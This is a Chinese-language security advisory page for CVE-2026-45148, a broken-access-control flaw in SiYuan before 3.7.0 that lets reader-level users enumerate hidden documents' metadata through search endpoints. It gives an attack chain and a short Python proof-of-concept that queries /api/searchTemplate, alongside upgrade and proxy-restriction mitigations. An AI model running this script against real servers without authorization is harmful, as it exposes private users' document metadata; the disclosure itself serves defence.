IPBUF安全漏洞报告
English
CVE-2026-45148 CVSS 4.3 中危

CVE-2026-45148 SiYuan 访问控制漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-45148
漏洞类型
访问控制失效
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

访问控制失效信息泄露SiYuanCWE-284元数据枚举

漏洞概述

SiYuan是一款广受欢迎的开源个人知识管理系统。在3.7.0版本之前,系统存在严重的访问控制失效漏洞。攻击者利用该漏洞,可以在发布模式下,通过`searchAsset`、`searchTag`、`searchWidget`及`searchTemplate`等接口,绕过权限验证。这允许仅具有读者权限的用户枚举并获取那些本应对发布服务不可见文档的元数据信息,造成信息泄露风险。官方已在3.7.0及以后版本中修复此问题,建议用户尽快升级。

技术细节

该漏洞的根源在于SiYuan知识管理系统在处理发布模式下的API请求时,未能实施严格的访问控制策略。具体而言,系统在处理`searchAsset`、`searchTag`、`searchWidget`和`searchTemplate`这几个关键接口时,错误地允许了低权限的“读者”角色访问超出其权限范围的数据。在标准的权限模型中,发布服务应当仅向外部暴露已明确标记为公开的文档及其元数据。然而,漏洞代码在查询数据库或检索索引时,未将当前用户的权限上下文与文档的可见性属性进行有效绑定。攻击者可以通过向这些端点发送特制的HTTP请求,遍历系统内部的资源标识符。这种元数据枚举攻击能够泄露私有文档的存在性、标签分类、使用的组件模板以及附件列表等敏感信息。虽然攻击者无法直接获取文档正文,但泄露的元数据足以辅助进行更精准的后续攻击,破坏了系统的数据隔离原则。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用SiYuan知识管理系统,并确认其开启了发布模式功能。
STEP 2
权限获取
攻击者注册或利用现有的低权限“读者”账号,或者确认发布模式允许匿名访问。
STEP 3
漏洞利用
攻击者向`searchAsset`、`searchTag`、`searchWidget`或`searchTemplate`接口发送特制的搜索请求。
STEP 4
信息窃取
系统返回了包含不可见文档的元数据列表,攻击者解析这些数据以获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-45148: Broken Access Control in SiYuan. Attempts to enumerate metadata via searchTemplate endpoint. """ # The vulnerable endpoint usually resides under the API path # Example: /api/searchTemplate with method POST or GET depending on config endpoint = f"{target_url}/api/searchTemplate" headers = { "Content-Type": "application/json" } # Payload simulates a search query in publish mode payload = { "query": "" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the response returns data from private documents, the vulnerability is confirmed if "data" in data and len(data["data"]) > 0: print("[+] Vulnerability confirmed! Metadata leaked:") print(data) return True print("[-] Target not vulnerable or request failed.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost:6806" # Replace with actual target check_vulnerability(target)

影响范围

SiYuan < 3.7.0

防御指南

临时缓解措施
如果暂时无法升级,建议管理员禁用SiYuan的发布模式服务,或者通过反向代理(如Nginx)严格限制对`/api/search*`相关路径的访问,仅允许内部IP或受信任的网络进行调用,以阻断未授权的元数据枚举行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表